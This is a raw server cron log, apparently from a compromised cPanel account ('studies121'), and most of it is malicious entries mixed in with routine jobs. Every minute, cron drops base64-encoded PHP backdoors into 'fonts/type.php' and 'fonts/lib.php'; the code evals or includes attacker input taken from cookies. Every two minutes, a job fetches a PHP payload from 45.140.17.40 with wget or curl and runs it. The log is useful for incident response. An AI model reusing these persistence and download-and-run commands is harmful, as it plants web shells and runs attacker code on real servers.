Sep  1 03:23:01 ip-184-168-122-23 CROND[7214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:24:01 ip-184-168-122-23 CROND[7288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:24:01 ip-184-168-122-23 CROND[7287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:24:01 ip-184-168-122-23 CROND[7290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:24:01 ip-184-168-122-23 CROND[7291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:24:01 ip-184-168-122-23 CROND[7293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:25:01 ip-184-168-122-23 CROND[7469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:25:01 ip-184-168-122-23 CROND[7471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:25:01 ip-184-168-122-23 CROND[7472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:25:01 ip-184-168-122-23 CROND[7475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:25:01 ip-184-168-122-23 CROND[7473]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:25:01 ip-184-168-122-23 CROND[7474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:26:01 ip-184-168-122-23 CROND[7575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:26:01 ip-184-168-122-23 CROND[7576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:26:01 ip-184-168-122-23 CROND[7581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:26:01 ip-184-168-122-23 CROND[7577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:26:01 ip-184-168-122-23 CROND[7580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:27:01 ip-184-168-122-23 CROND[7665]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  1 03:27:01 ip-184-168-122-23 CROND[7667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:27:01 ip-184-168-122-23 CROND[7668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:27:01 ip-184-168-122-23 CROND[7671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:27:01 ip-184-168-122-23 CROND[7670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:28:01 ip-184-168-122-23 CROND[7772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:28:01 ip-184-168-122-23 CROND[7774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:28:01 ip-184-168-122-23 CROND[7776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:28:02 ip-184-168-122-23 CROND[7775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:28:02 ip-184-168-122-23 CROND[7779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:29:01 ip-184-168-122-23 CROND[7897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:29:01 ip-184-168-122-23 CROND[7898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:29:01 ip-184-168-122-23 CROND[7901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:29:01 ip-184-168-122-23 CROND[7899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:30:01 ip-184-168-122-23 CROND[7992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:30:01 ip-184-168-122-23 CROND[7995]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:30:01 ip-184-168-122-23 CROND[7994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:30:01 ip-184-168-122-23 CROND[7998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:30:01 ip-184-168-122-23 CROND[8000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:30:01 ip-184-168-122-23 CROND[7999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:30:01 ip-184-168-122-23 CROND[8002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:30:01 ip-184-168-122-23 CROND[8001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:31:01 ip-184-168-122-23 CROND[8184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:31:01 ip-184-168-122-23 CROND[8185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:31:01 ip-184-168-122-23 CROND[8187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:31:01 ip-184-168-122-23 CROND[8188]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 03:31:01 ip-184-168-122-23 CROND[8191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:32:01 ip-184-168-122-23 CROND[8292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:32:01 ip-184-168-122-23 CROND[8293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:32:01 ip-184-168-122-23 CROND[8294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:32:01 ip-184-168-122-23 CROND[8296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:32:01 ip-184-168-122-23 CROND[8299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:33:01 ip-184-168-122-23 CROND[8392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:33:01 ip-184-168-122-23 CROND[8395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:33:01 ip-184-168-122-23 CROND[8393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:33:01 ip-184-168-122-23 CROND[8394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:34:01 ip-184-168-122-23 CROND[8470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:34:01 ip-184-168-122-23 CROND[8474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:34:01 ip-184-168-122-23 CROND[8475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:34:01 ip-184-168-122-23 CROND[8472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:34:01 ip-184-168-122-23 CROND[8473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:35:01 ip-184-168-122-23 CROND[8586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:35:01 ip-184-168-122-23 CROND[8588]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 03:35:01 ip-184-168-122-23 CROND[8592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:35:01 ip-184-168-122-23 CROND[8590]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:35:01 ip-184-168-122-23 CROND[8594]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 03:35:01 ip-184-168-122-23 CROND[8593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:35:01 ip-184-168-122-23 CROND[8596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:35:01 ip-184-168-122-23 CROND[8589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
